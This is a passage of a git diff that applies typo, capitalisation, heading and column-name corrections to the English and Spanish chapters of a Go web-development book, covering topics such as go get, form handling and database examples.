certain places. @@ -133,7 +133,7 @@ The above describes the differences between errors and exceptions. So, when it c ## Summary -This is section summarizes how web applications should handle various errors such as network, database and operating system errors, among others. We've outline several techniques to effectively deal with runtime errors such as: displaying user-friendly error notifications, rolling back actions, logging, and alerting system administrators. Finally, we explained how to correctly handle errors and exceptions. The concept of an error is often confused with that of an exception, however in Go, there is a clear distinction between the two. For this reason, we've discussed the principles of processing both errors and exceptions in web applications. +This section summarizes how web applications should handle various errors such as network, database and operating system errors, among others. We've outline several techniques to effectively deal with runtime errors such as: displaying user-friendly error notifications, rolling back actions, logging, and alerting system administrators. Finally, we explained how to correctly handle errors and exceptions. The concept of an error is often confused with that of an exception, however in Go, there is a clear distinction between the two. For this reason, we've discussed the principles of processing both errors and exceptions in web applications. ## Links diff --git a/en/12.3.md b/en/12.3.md index d9919a06f..77cac4557 100644 --- a/en/12.3.md +++ b/en/12.3.md @@ -4,7 +4,7 @@ When our web application is finally production ready, what are the steps necessa ## Daemons -Currently, Go programs cannot be run as daemon processes (for additional information, see the open issue on github [here](https://github.com/golang/go/issues/227)). It's difficult to fork existing threads in Go because there is no way of ensuring a consistent state in all threads that have been used. +Currently, Go programs cannot be run as daemon processes (for additional information, see the open issue on GitHub [here](https://github.com/golang/go/issues/227)). It's difficult to fork existing threads in Go because there is no way of ensuring a consistent state in all threads that have been used. We can, however, see many attempts at implementing daemons online, such as in the two following ways; diff --git a/en/14.4.md b/en/14.4.md index 79b616757..5c7e754d7 100644 --- a/en/14.4.md +++ b/en/14.4.md @@ -56,7 +56,7 @@ OAuth and OAuth 2 are currently two of the most popular authentication methods. github.com/bradrydzewski/go.auth -The code below demonstrates how to use this library to implement OAuth authentication in Beego using our Github credentials: +The code below demonstrates how to use this library to implement OAuth authentication in Beego using our GitHub credentials: 1. Let's add some routes @@ -147,7 +147,7 @@ After clicking "Authorize app", the following screen appears: ![](images/14.4.github3.png?raw=true) -Figure 14.6 authorized Github information gets displayed after the login page +Figure 14.6 authorized GitHub information gets displayed after the login page ## Custom authentication diff --git a/en/14.5.md b/en/14.5.md index 53dfee9e8..be51c2dc9 100644 --- a/en/14.5.md +++ b/en/14.5.md @@ -81,7 +81,7 @@ In order to facilitate multi-language calls in the template package directly, we } } - #en.json + # en.json { "en": { diff --git a/en/SUMMARY.md b/en/SUMMARY.md index 625cd97a2..6df5778c2 100644 --- a/en/SUMMARY.md +++ b/en/SUMMARY.md @@ -63,7 +63,7 @@ * [Encrypt and decrypt data](09.6.md) * [Summary](09.7.md) * [Internationalization and localization](10.0.md) - * [Time zone](10.1.md) + * [Setting the default region](10.1.md) * [Localized resources](10.2.md) * [International sites](10.3.md) * [Summary](10.4.md) @@ -79,7 +79,7 @@ * [Backup and recovery](12.4.md) * [Summary](12.5.md) * [Build a web framework](13.0.md) - * [Project program](13.1.md) + * [Project planning](13.1.md) * [Customized routers](13.2.md) * [Design controllers](13.3.md) * [Logs and configurations](13.4.md) @@ -94,4 +94,4 @@ * [pprof](14.6.md) * [Summary](14.7.md) * [References](ref.md) -* [preface](preface.md) \ No newline at end of file +* [preface](preface.md) diff --git a/en/code/src/apps/ch.5.2/readme.md b/en/code/src/apps/ch.5.2/readme.md index bbeb630b1..9e34f7d78 100644 --- a/en/code/src/apps/ch.5.2/readme.md +++ b/en/code/src/apps/ch.5.2/readme.md @@ -1,4 +1,4 @@ -##Setup for `ch.5.2` +## Setup for `ch.5.2` - Step 1) Install and run MySql - Step 2) Create a user and database according to the constants in `main.go` diff --git a/en/code/src/apps/ch.5.4/readme.md b/en/code/src/apps/ch.5.4/readme.md index 1bb608580..74f1e2a3c 100644 --- a/en/code/src/apps/ch.5.4/readme.md +++ b/en/code/src/apps/ch.5.4/readme.md @@ -1,4 +1,4 @@ -##Setup for ch.5.4 +## Setup for ch.5.4 - Step 1) Install and run Postgres - Step 2) Create a user and database according to the constants in `main.go` diff --git a/en/code/src/apps/ch.5.6/mongodb/readme.md b/en/code/src/apps/ch.5.6/mongodb/readme.md index a2aa6410d..35bee2fe2 100644 --- a/en/code/src/apps/ch.5.6/mongodb/readme.md +++ b/en/code/src/apps/ch.5.6/mongodb/readme.md @@ -1,4 +1,4 @@ -##Setup for `ch.5.6` for MongoDB +## Setup for `ch.5.6` for MongoDB - Step 1) Install and run MongoDB - Step 2) Launch the MongoDB daemon (mongod) to start the server. diff --git a/en/code/src/apps/ch.5.6/redis/readme.md b/en/code/src/apps/ch.5.6/redis/readme.md index fb8a70d8e..4965e7bb3 100644 --- a/en/code/src/apps/ch.5.6/redis/readme.md +++ b/en/code/src/apps/ch.5.6/redis/readme.md @@ -1,4 +1,4 @@ -##Setup for `ch.5.6` for Redis +## Setup for `ch.5.6` for Redis - Step 1) Install and run Redis - Step 2) Launch the Redis server matching the DB constants. diff --git a/en/preface.md b/en/preface.md index 58da2dc14..b67e4f217 100644 --- a/en/preface.md +++ b/en/preface.md @@ -63,7 +63,7 @@ - 9.6. [Encrypt and decrypt data](09.6.md) - 9.7. [Summary](09.7.md) - 10.[Internationalization and localization](10.0.md) - - 10.1 [Time zone](10.1.md) + - 10.1 [Setting the default region](10.1.md) - 10.2 [Localized resources](10.2.md) - 10.3 [International sites](10.3.md) - 10.4 [Summary](10.4.md) @@ -79,7 +79,7 @@ - 12.4. [Backup and recovery](12.4.md) - 12.5. [Summary](12.5.md) - 13.[Build a web framework](13.0.md) - - 13.1. [Project program](13.1.md) + - 13.1. [Project planning](13.1.md) - 13.2. [Customized routers](13.2.md) - 13.3. [Design controllers](13.3.md) - 13.4. [Logs and configurations](13.4.md) @@ -93,4 +93,4 @@ - 14.5. [Multi-language support](14.5.md) - 14.6. [pprof](14.6.md) - 14.7. [Summary](14.7.md) -- Appendix A [References](ref.md) \ No newline at end of file +- Appendix A [References](ref.md) diff --git a/es/01.2.md b/es/01.2.md index c6e380046..f1cf5637c 100644 --- a/es/01.2.md +++ b/es/01.2.md @@ -1,4 +1,4 @@ -#1.2 $GOPATH y el ambiente de trabajo +# 1.2 $GOPATH y el ambiente de trabajo ## $GOPATH @@ -90,13 +90,13 @@ Para compilar esta aplicación necesitas cambiar al directorio de la aplicación ``` ## Instala paquete remotos -Go tiene una herramienta para instalar paquetes remotos, es el comando llamado `go get`. Soporta la mayoría de comunidades de código libre, incluyendo Github, Google Code, BitBucket y Launchpad. +Go tiene una herramienta para instalar paquetes remotos, es el comando llamado `go get`. Soporta la mayoría de comunidades de código libre, incluyendo GitHub, Google Code, BitBucket y Launchpad. ``` go get github.com/astaxie/beedb ``` Puedes usar `go get -u …` para actualizar tus paquetes remotos e incluso instalará todas sus dependencias. -Esta herramienta usará diferente herramientas de control de versiones para las diferentes plataformas de código libre. Por ejemplo, `git` para Github y `hg` para Google Code. Debido a esto, debes instalar estas herramientas de control de versiones antes de usar `go get`. +Esta herramienta usará diferente herramientas de control de versiones para las diferentes plataformas de código libre. Por ejemplo, `git` para GitHub y `hg` para Google Code. Debido a esto, debes instalar estas herramientas de control de versiones antes de usar `go get`. Después de ejecutar los comandos anteriormente descritos, la estructura de directorios debería verse de la siguiente forma: ``` diff --git a/es/01.3.md b/es/01.3.md index 4acf28eae..8023205ed 100644 --- a/es/01.3.md +++ b/es/01.3.md @@ -1,4 +1,4 @@ -#1.3 Comandos Go +# 1.3 Comandos Go ## Comandos Go @@ -53,10 +53,10 @@ Usualmente usamos `gofmt -w` en vez de `go fmt`. El último, no rescribirá tus ## go get -Este comando es para obtener paquetes remotos. Hasta el momento soporta BitBucket, Github, Google Code y Launchpad. Actualmente existen dos cosas que suceden después de ejecutar este comando. La primera es que Go descarga el código fuente, luego ejecuta `go install`. Antes de que utilices este comando, asegúrate que tienes instaladas todas las herramientas relacionadas. +Este comando es para obtener paquetes remotos. Hasta el momento soporta BitBucket, GitHub, Google Code y Launchpad. Actualmente existen dos cosas que suceden después de ejecutar este comando. La primera es que Go descarga el código fuente, luego ejecuta `go install`. Antes de que utilices este comando, asegúrate que tienes instaladas todas las herramientas relacionadas. ``` BitBucket (Mercurial Git) - Github (git) + GitHub (git) Google Code (Git, Mercurial, Subversion) Launchpad (Bazaar) ``` diff --git a/es/01.5.md b/es/01.5.md index 291862763..3fc223548 100644 --- a/es/01.5.md +++ b/es/01.5.md @@ -1,6 +1,6 @@ # 1.5 Resumen -En este capítulo hablamos acerca de como instalar Go usando tres métodos diferentes, incluyendo desde el código fuente, paquetes estándares y herramientas de terceros. Luego mostramos como configurar el ambiente de desarrollo de Go, principalmente cubriendo como configurar tu `$GOPATH`. Luego de eso se introdujeron algunos pasos para compilar y desplegar los programos Go. Luego cubrimos los comandos Go, incluyendo los comandos para compilar, instalar, formatear y probar. Finalmente existen muchas herramientas poderosas para desarrollar programas Go como LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. Puedes escoger cualquier y explorar el mundo de Go. +En este capítulo hablamos acerca de como instalar Go usando tres métodos diferentes, incluyendo desde el código fuente, paquetes estándares y herramientas de terceros. Luego mostramos como configurar el ambiente de desarrollo de Go, principalmente cubriendo como configurar tu `$GOPATH`. Luego de eso se introdujeron algunos pasos para compilar y desplegar los programos Go. Luego cubrimos los comandos Go, incluyendo los comandos para compilar, instalar, formatear y probar. Finalmente existen muchas herramientas poderosas para desarrollar programas Go como LiteIDE, Sublime Text, Vim, GoLand, Emacs, Eclipse, IntelliJ IDEA, etc. Puedes escoger cualquier y explorar el mundo de Go. ## Links diff --git a/es/02.0.md b/es/02.0.md index 8aa1e9dc5..02dbb7371 100644 --- a/es/02.0.md +++ b/es/02.0.md @@ -1,6 +1,6 @@ # 2 Go, Conocimiento básico -Go es un lenguaje de progrmación compilado y pertenece a la familia de C. Sin embargo su velocidad de compilación es mayor que otros lenguajes de la familia de C. Tiene únicamente 25 palabras reservadas ... ¡Incluso menos que las 26 letras del alfabeto Inglés! Vamos a echarle un vistazo a a estas palabras reservadas antes de comenzar +Go es un lenguaje de programación compilado y pertenece a la familia de C. Sin embargo su velocidad de compilación es mayor que otros lenguajes de la familia de C. Tiene únicamente 25 palabras reservadas ... ¡Incluso menos que las 26 letras del alfabeto Inglés! Vamos a echarle un vistazo a a estas palabras reservadas antes de comenzar break default func interface select case defer go map struct @@ -8,7 +8,7 @@ Go es un lenguaje de progrmación compilado y pertenece a la familia de C. Sin e const fallthrough if range type continue for import return var -En este capítulo voy a enseñarles algún conocimiento básico de Go. Encontrarás que concizo es el lenguaje de programación Go y la belleza del diseño del lenguaje. Programar puede ser muy dvertido en Go. Despuś de completar este capítulo, estarás familiarizado con las palabras reservadas de arriba. +En este capítulo voy a enseñarles algo de conocimiento básico de Go. Encontrarás que conciso es el lenguaje de programación Go y la belleza del diseño del lenguaje. Programar puede ser muy divertido en Go. Después de completar este capítulo, estarás familiarizado con las palabras reservadas de arriba. ## Enlaces diff --git a/es/02.1.md b/es/02.1.md index 6ac2593f1..2220a75f3 100644 --- a/es/02.1.md +++ b/es/02.1.md @@ -23,7 +23,7 @@ Entonces para mitigar todos los problemas que Google enfrentó con las herramien Go fue diseñado con la concurrencia en mente, por favor note que paralelismo != concurrencia. Hay un post maravilloso escrito por Bob Pike en el blog de Go, blog.golang.org, que usted encontraréa ahí y vale la pena leerlo. -Otro cambio muy importante que Go trajo a la programación y que yo personalmente amo, es le concepto de `GOPATH`, los tiempos donde tenías que crear una carpeta llamada code y entonces crear espacios de trabajo para eclipse y otros. Ahora usted puede tener un árbol de carpetas para el código en Go y se mantendrá actualizado automáticamente por el administrador de paquetes. También bajo el código que estamos recomendando crear carpetas con cada dominio específico o el dominio de github, por ejemplo yo creé un manejador de tareas usando Go, entonces creé un conjunto de carpetas +Otro cambio muy importante que Go trajo a la programación y que yo personalmente amo, es le concepto de `GOPATH`, los tiempos donde tenías que crear una carpeta llamada code y entonces crear espacios de trabajo para eclipse y otros. Ahora usted puede tener un árbol de carpetas para el código en Go y se mantendrá actualizado automáticamente por el administrador de paquetes. También bajo el código que estamos recomendando crear carpetas con cada dominio específico o el dominio de GitHub, por ejemplo yo creé un manejador de tareas usando Go, entonces creé un conjunto de carpetas `~/go/src/github.com/thewhitetulip/Tasks` Nota: En sistemas * nix `~` se refiere al directorio del usuario, que en windows es equivalente a `C:\\Users\\username` Ahora el `~/go/` es el universo de código Go en su máquina, este es solo una significante mejora en comparación con otros lenguajes, entonces podemos almacenar código eficientemente sin molestias, esto puede parecer raro al comienzo pero tiene un montón de sentido a comparación de los nombres de paquete en otros lenguajes que usan sistemas como el del dominio inverso. @@ -94,7 +94,7 @@ porque el compilador coloca un punto y coma al final de `main()` lo cual es un e ## Conclusión -Go usa `package` (como lo módulos en Python) para organizar los programas. La función `main.main()` (esta funcieon debe estar en el paquete `main`) es el punto de entrada de cualquier programa. Go estandariza el lenguaje y la mayoría de la metodología de programación, ahorrándole tiempo a los desarrolladores que se pierden en guerras religiosas. Solo puede existir un paquete main y solo una función main dentro del paquete main de Go. Go soporta caracteres UTF-8 porque uno de los creadores de Go es el creador de UTF-8, así que Go soporta múltiples lenguajes desde el momento en que nació. +Go usa `package` (como lo módulos en Python) para organizar los programas. La función `main.main()` (esta función debe estar en el paquete `main`) es el punto de entrada de cualquier programa. Go estandariza el lenguaje y la mayoría de la metodología de programación, ahorrándole tiempo a los desarrolladores que se pierden en guerras religiosas. Solo puede existir un paquete main y solo una función main dentro del paquete main de Go. Go soporta caracteres UTF-8 porque uno de los creadores de Go es el creador de UTF-8, así que Go soporta múltiples lenguajes desde el momento en que nació. ## Enlaces diff --git a/es/02.4.md b/es/02.4.md index 1274079e4..82f0a8a6e 100644 --- a/es/02.4.md +++ b/es/02.4.md @@ -27,7 +27,7 @@ Vamos a ver como usarlo. P.nombre = "Astaxie" // asigna "Astaxie" al campo 'nombre' de p P.edad = 25 // asigna 25 al campo 'edad' de p - fmt.Printf("El nombre de la persona es %s\n", P.name) // accedemos al campo 'nombre' de p + fmt.Printf("El nombre de la persona es %s\n", P.nombre) // accedemos al campo 'nombre' de p Tenemos tres formas mas de definir un struct. diff --git a/es/02.7.md b/es/02.7.md index e6d0d0532..311d43c6b 100644 --- a/es/02.7.md +++ b/es/02.7.md @@ -114,7 +114,7 @@ Puedes probar con este código en tu computadora y cambiar algunos valores. ``` ## Range y Close -Podemos usar range para para hacer funcionar los 'buffer channels' como una lista y un map. +Podemos usar range para hacer funcionar los 'buffer channels' como una lista y un map. ``` package main diff --git a/es/03.1.md b/es/03.1.md index 98a304bee..cd7c26414 100644 --- a/es/03.1.md +++ b/es/03.1.md @@ -2,7 +2,7 @@  Cada vez que abres tu navegador, escribes alguna direccion URL y pulsas ENTER, verás hermosas páginas web que aparecen en pantalla. Pero, ¿sabes lo que está sucediendo detrás de esta simple acción? -Normalmente, el navegador es un cliente, después de teclear la URL, envía peticiones a un servidor DNS, para obtener la dirección IP de la URL. Luego de encontrar el servidor en esta dirección IP, configura una conexión TCP. El navegador envía las peticiones HTTP a través de la conexión. El servidor las maneja y responde con respuestas HTTP que conteienne el contenido que puedes ver en tu página web. Finalmente, el navegador renderiza el cuerpo de la página web y se desconecta del servidor. +Normalmente, el navegador es un cliente, después de teclear la URL, envía peticiones a un servidor DNS, para obtener la dirección IP de la URL. Luego de encontrar el servidor en esta dirección IP, configura una conexión TCP. El navegador envía las peticiones HTTP a través de la conexión. El servidor las maneja y responde con respuestas HTTP que contiene el contenido que puedes ver en tu página web. Finalmente, el navegador renderiza el cuerpo de la página web y se desconecta del servidor. ![](images/3.1.web2.png?raw=true) @@ -48,7 +48,7 @@ Para entender más acerca de su principio de funcionamiento, veamos en detalle 2. Si no hay relación de proyección en el archivo hosts, el sistema operativo comprueba si hay alguna caché en el DNS, si es así, termina la resolución de nombres de dominio. 3. Si no hay relación entre el computador y el servirdor de caché DNS, el sistema operativo busca el primer servidor de resolución de DNS en la configuración de TCP / IP, que es el servidor DNS local en este momento. Cuando el servidor DNS local recibió consulta, si el nombre de dominio que desea consultar está contenida en la configuración local de los recursos regionales, a continuación, devuelve los resultados al cliente. Esta resolución DNS es autoritaria. 4. Si el servidor DNS local no contiene el nombre de dominio, y hay una relación de correspondencia en con el servidor caché DNS, el servidor DNS local devuelve este resultado a cliente. Esta resolución DNS no es autoritaria. -5. Si el servidor DNS local no puede resolver el nombre de dominio, ya sea por la configuración de los recursos regionales o caché, se procede al próximo paso, que depende de la configuración del servidor DNS local. Si el servidor local de DNS no permite seguir avanzando, el enruta la petición a la raiz del servidor DNS, entonces returna la dirección IP de un servidor DNS de alto nivel, que debería conocer el nombre de dominio, `.com` en este caso. Si el primer servidor de mas alto nivel no reconoce el nombre de dominio, de nuevo re enruta la petición al siguiente servidor DNS de mayor nivel, así sucesivamente hasta que encuentre un servidor DNS que pueda reconocer el nombre de dominio. Entonces, se le solicita al servidor DNS la IP correspondiente al dominio, en este caso `www.qq.com` +5. Si el servidor DNS local no puede resolver el nombre de dominio, ya sea por la configuración de los recursos regionales o caché, se procede al próximo paso, que depende de la configuración del servidor DNS local. Si el servidor local de DNS no permite seguir avanzando, el enruta la petición a la raiz del servidor DNS, entonces retorna la dirección IP de un servidor DNS de alto nivel, que debería conocer el nombre de dominio, `.com` en este caso. Si el primer servidor de mas alto nivel no reconoce el nombre de dominio, de nuevo re enruta la petición al siguiente servidor DNS de mayor nivel, así sucesivamente hasta que encuentre un servidor DNS que pueda reconocer el nombre de dominio. Entonces, se le solicita al servidor DNS la IP correspondiente al dominio, en este caso `www.qq.com` - Si el servidor DNS local habilita seguir adelante, envía la solicitud al servidor DNS de nivel superior, si el servidor DNS de nivel superior también no sabe el nombre de dominio , a continuación, seguira enviando solicitudes a nivel superior. - Si el servidor DNS local permite a modo de avance , la dirección IP del servidor de nombre de dominio devuelve al servidor DNS local, y el servidor local envía a los clientes. diff --git a/es/04.0.md b/es/04.0.md index 0fae23083..79e26d1d0 100644 --- a/es/04.0.md +++ b/es/04.0.md @@ -2,7 +2,7 @@ Un formulario de usuario es algo que es usado comunmente cuando desarrollamos aplicaciones web. El provee la habilidad de comunicarse entre clientes y servidores. Debes estar familiarizado con los formularios si eres un desarrollador web; si eres un programador C/C++ te puedes estar preguntando, ¿qué es un formulario de usuario? -Un formulario es un área que contiene elementos de de formulario. Los usuarios pueden ingresar información en los elementos como en campos de texto, listas desplegables, botones circulares, cajas de chequeo, etc. nOsotros utilizamos la etiqueta `
` para definir formularios. +Un formulario es un área que contiene elementos de de formulario. Los usuarios pueden ingresar información en los elementos como en campos de texto, listas desplegables, botones circulares, cajas de chequeo, etc. nosotros utilizamos la etiqueta `` para definir formularios. ``` ... @@ -10,7 +10,7 @@ Un formulario es un área que contiene elementos de de formulario. Los usuarios ...
``` -Go tiene muchas funciones muy convenientes para lidiar con formularios de usuario. Facilmente puedes obtener la información de un formulario en una petición HTTP, y se pueden integrar fácilmente en tus aplicaciones propias. En la sección 4.1, vamos a hablar de como manejar la información de los formularios en Go. También que no puedes confiar en cualquier datao que viene del lado del cliente, primero debes validar los datos antes de usarlos. Vamos a ir a través de algunos ejemplos de como podemos validar la información de los formularios en la sección 4.2. +Go tiene muchas funciones muy convenientes para lidiar con formularios de usuario. Facilmente puedes obtener la información de un formulario en una petición HTTP, y se pueden integrar fácilmente en tus aplicaciones propias. En la sección 4.1, vamos a hablar de como manejar la información de los formularios en Go. También que no puedes confiar en cualquier dato que viene del lado del cliente, primero debes validar los datos antes de usarlos. Vamos a ir a través de algunos ejemplos de como podemos validar la información de los formularios en la sección 4.2. Decimos que HTTP es un procolo sin estado. ¿Cómo podemos identificar que varios formularios vienen del mismo usuario? y ¿cómo nos damos cuenta que un formulario solo puede ser enviado una vez? Miraremos algunos detalles concernientes a las cookies (una cookie es un segmento de información que puede ser guardado en el lado del cluente y agregado al encabezado de la petición cuando la petición es enviada al servidor) en los capítulos 4.3 y 4.4. diff --git a/es/04.1.md b/es/04.1.md index 3ec9a73fc..1ba5affb6 100644 --- a/es/04.1.md +++ b/es/04.1.md @@ -66,9 +66,9 @@ Es fácil darnos cuenta usando el paquete `http`. Veamos como manejar los formul } ``` -Aquí usamos el método `r.Methoc` para obtener el tipo de petición, el cual retornará uno de los siguientes verbos: "GET", "POST", "PUT", etc. +Aquí usamos el método `r.Method` para obtener el tipo de petición, el cual retornará uno de los siguientes verbos: "GET", "POST", "PUT", etc. -En la función `login`, usamos `r.Method` para verificar si es una petición a la página o una petición para procesar los datos. En otras palabras, verificamos si el usuario solo abró la página o está intentando ingresar. Únicamente mostramos la página cuando viene desde un método GET, y ejecuta la lógica cuando viene un método POST. +En la función `login`, usamos `r.Method` para verificar si es una petición a la página o una petición para procesar los datos. En otras palabras, verificamos si el usuario solo abrió la página o está intentando ingresar. Únicamente mostramos la página cuando viene desde un método GET, y ejecuta la lógica cuando viene un método POST. Podrás ver la interfaz cuando visitas `http://127.0.0.1:9090/login` en tu navegador. @@ -76,7 +76,7 @@ Podrás ver la interfaz cuando visitas `http://127.0.0.1:9090/login` en tu naveg Figure 4.1 Interfaz de ingreso de usuario -El servidor no va a imprimir nada hasta que nosotros escribamos un usuario y contraseña, porque el manejador no analizará los datos hasta que llamemos `r.ParseForm()`. Agreguemos `r.ParseForm()` antes de `fmt.Println("username:", r.Form["username"])`, compilemos el programa e intentémolo de nuevo. Ahora puedes ve la información en la consola del servidor. +El servidor no va a imprimir nada hasta que nosotros escribamos un usuario y contraseña, porque el manejador no analizará los datos hasta que llamemos `r.ParseForm()`. Agreguemos `r.ParseForm()` antes de `fmt.Println("username:", r.Form["username"])`, compilemos el programa e intentémoslo de nuevo. Ahora puedes ver la información en la consola del servidor. `r.Form` contiene todos los argumentos de la petición, por ejemplo la cadena de consulta en la URL y la información en el POST y PUT. Si la información tiene conflictos, como parámetros que tienen el mismo nombre, el servidor almacenará la información en un segmento con múltiples valores. La documentación de Go dice que Go guardará la información de las peticiones GET y el POST en diferentes lugares. @@ -86,7 +86,7 @@ Trata de cambiar la URL de ingreso de `http://127.0.0.1:9090/login` a `http://12 Figure 4.2 Server prints request data -El tipo de `request.Form` es `url.Value`. Y lo guarda en el formato `llave=valor`. +El tipo de `request.Form` es `url.Values`. Y lo guarda en el formato `llave=valor`. ``` v := url.Values{} v.Set("name", "Ava") diff --git a/es/04.2.md b/es/04.2.md index 2a6734a66..2d4b3afff 100644 --- a/es/04.2.md +++ b/es/04.2.md @@ -2,7 +2,7 @@ Uno de los principios mas importantes en el desarrollo web es que no puedes confiar en nada de lo que viene en los formularios de usuario. Necesitas validar todos los datos de entrada antes de usarlos. Muchos sitios web son afectados por este problema, lo que es simplemente crucial. -Existen dos maneras de verificar datos de formularios, que son usadas comunmente. La primera es la validación del lado del cliente en. el front end, y la segunda es la validación del lado del servidor, en el back end. En esta sección vamos a hablar sobre la validación del lado del servidor. +Existen dos maneras de verificar datos de formularios, que son usadas comunmente. La primera es la validación del lado del cliente en el front end, y la segunda es la validación del lado del servidor, en el back end. En esta sección vamos a hablar sobre la validación del lado del servidor. ## Campos requeridos diff --git a/es/04.4.md b/es/04.4.md index 37cf5a4a2..b0d39308a 100644 --- a/es/04.4.md +++ b/es/04.4.md @@ -1,6 +1,6 @@ # 4.4 Envíos duplicados -No se si alguna vez has visto blogs que tienen uno o mas de un post que son exactamente iguales, pero puedo decirte que es porque un usuario envió dos veces el mismo formulario. Existen muchas cosas que pueden cambiar envíos duplicados; algunas veces los usuarios hacen doble click en el botón de enviar, o quieren modificar el contenido después de postear y usan el botón de atrás. En algunos casos es por una acción intencioanl de usuarios malicioso. Es facil ver como los envíos duplicados pueden generar muchos problemas. Afortunadamente tenemos herramientas para prevenirlos. +No se si alguna vez has visto blogs que tienen uno o mas de un post que son exactamente iguales, pero puedo decirte que es porque un usuario envió dos veces el mismo formulario. Existen muchas cosas que pueden cambiar envíos duplicados; algunas veces los usuarios hacen doble click en el botón de enviar, o quieren modificar el contenido después de postear y usan el botón de atrás. En algunos casos es por una acción intencional de usuarios malicioso. Es facil ver como los envíos duplicados pueden generar muchos problemas. Afortunadamente tenemos herramientas para prevenirlos. La solución es añadir un campo oculto con un único token al formulario, y siempre verificar si el token ha sido procesado con anterioridad. También si quieres usar ajax para enviar un formulario, puedes usar javascript para deshabilitar el botón una vez se ha presionado. diff --git a/es/04.5.md b/es/04.5.md index 9ccbe28e8..de1d3bd09 100644 --- a/es/04.5.md +++ b/es/04.5.md @@ -2,8 +2,7 @@ Supón que tienes un sitio web como Instagram y quieres que tus usuarios suban sus fotos. ¿Cómo implementarías esa funcionalidad? -Tienes que agregar la propuedad `enctype` al formulario que vas a usar para subir fotos. Aquí están los tres posibles valores para esta propiedad -You have to add property `enctype` to the form that you want to use for uploading photos. There are three possible values for this property: +Tienes que agregar la propiedad `enctype` al formulario que vas a usar para subir fotos. Aquí están los tres posibles valores para esta propiedad: ``` application/x-www-form-urlencoded. Transforma todos los caracteres antes de subirlos (Por defecto). diff --git a/es/05.1.md b/es/05.1.md index 37c5fd0a6..81caa10fa 100644 --- a/es/05.1.md +++ b/es/05.1.md @@ -59,7 +59,7 @@ Todos los manejadores de terceros debería tener esta función para analizar el ## driver.Conn -Esta es la interfaz de conexión con algunos métodos, como dije aarriba, la misma conexión solo puede usarse una vez por rutina. +Esta es la interfaz de conexión con algunos métodos, como dije arriba, la misma conexión solo puede usarse una vez por rutina. ``` type Conn interface { Prepare(query string) (Stmt, error) @@ -103,7 +103,7 @@ Esta es una interfaz opcional. Exec(query string, args []Value) (Result, error) } ``` -El el manejador no implementa esta interfaz, cuando llame `DB.Exec`, automáticamente llamará `Prepare`, retornará un `Stmt`. Después ejecutará el método `Exec` de `Smtt`, y cerrará el `Smtm`. +El manejador no implementa esta interfaz, cuando llame `DB.Exec`, automáticamente llamará `Prepare`, retornará un `Stmt`. Después ejecutará el método `Exec` de `Smtt`, y cerrará el `Smtm`. ## driver.Result diff --git a/es/05.2.md b/es/05.2.md index 9c200bfc6..b39bed48b 100644 --- a/es/05.2.md +++ b/es/05.2.md @@ -22,7 +22,7 @@ En las siguientes secciones usaré las misma estructura de tablas para diferente CREATE TABLE `userinfo` ( `uid` INT(10) NOT NULL AUTO_INCREMENT, `username` VARCHAR(64) NULL DEFAULT NULL, - `departname` VARCHAR(64) NULL DEFAULT NULL, + `department` VARCHAR(64) NULL DEFAULT NULL, `created` DATE NULL DEFAULT NULL, PRIMARY KEY (`uid`) ); @@ -42,7 +42,7 @@ El siguiente ejemplo muestra como operar en bases de datos con los estándares d checkErr(err) // insertar - stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + stmt, err := db.Prepare("INSERT userinfo SET username=?,department=?,created=?") checkErr(err) res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") diff --git a/es/05.3.md b/es/05.3.md index 9ef7798df..671a60da0 100644 --- a/es/05.3.md +++ b/es/05.3.md @@ -19,7 +19,7 @@ Crearemos el siguiente SQL: CREATE TABLE `userinfo` ( `uid` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(64) NULL, - `departname` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, `created` DATE NULL ); ``` @@ -39,7 +39,7 @@ Un ejemplo: checkErr(err) // insertar - stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") checkErr(err) res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") diff --git a/es/05.4.md b/es/05.4.md index 4d81ba203..bdf0ca9d8 100644 --- a/es/05.4.md +++ b/es/05.4.md @@ -20,7 +20,7 @@ Crearemos el siguiente SQL: ( uid serial NOT NULL, username character varying(100) NOT NULL, - departname character varying(500) NOT NULL, + department character varying(500) NOT NULL, Created date, CONSTRAINT userinfo_pkey PRIMARY KEY (uid) ) @@ -53,7 +53,7 @@ Un ejemplo: fmt.Println("# Inserting values") var lastInsertId int - err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) + err = db.QueryRow("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) checkErr(err) fmt.Println("last inserted id =", lastInsertId) diff --git a/es/06.1.md b/es/06.1.md index 52811f09d..d4999f692 100644 --- a/es/06.1.md +++ b/es/06.1.md @@ -2,9 +2,9 @@ Las sesiones y cookies son dos conceptos muy comunes en la web, y también son muy malentendidos. Sin embargo, son extremadamente importantes para la autorización de páginas, así como para tener información para estadísticas de las páginas. Echémos un vistazo a los dos siguientes casos de uso. -Supón que quieres acceder a una página que tiene acceso restringido al público, como el perfil de twitter de un usuario. Por supuesto que puedes abrir tu navegador y escribir tu usuario y contraseña para acceder a esa información, pero el concepto de "exploración web" significa usar un programa para automatizzar este proceso sin intervención humana. Por consiguiente, tenemos que encontrar que está ocurriendo realmente detrás de bambailnas cuando vamos a usar un navegador para acceder. +Supón que quieres acceder a una página que tiene acceso restringido al público, como el perfil de twitter de un usuario. Por supuesto que puedes abrir tu navegador y escribir tu usuario y contraseña para acceder a esa información, pero el concepto de "exploración web" significa usar un programa para automatizar este proceso sin intervención humana. Por consiguiente, tenemos que encontrar que está ocurriendo realmente detrás de bambalinas cuando vamos a usar un navegador para acceder. -Cuando por primera vez recibimos una página de acceso y escribimos un usuario y contraseña, después de presionar el botor de "entrar", el navegador envía una petición POST a un servidor remoto. El servidor redirecciona al usuario a su página de inicio después de verificar la información de acceso y retorna una respuesta HTTP. La pregunta aquí es ¿cómo el servidor sabe quien tiene privilegios de acceso a cierta página? Como HTTP es sin estado el servidor no tiene cómo saber si se ha pasado la verificación en el paso anterior. La solución mas fácil en ingenua es pegar el nombre de usuario y la contraseña en la URL. esto funciona, pero 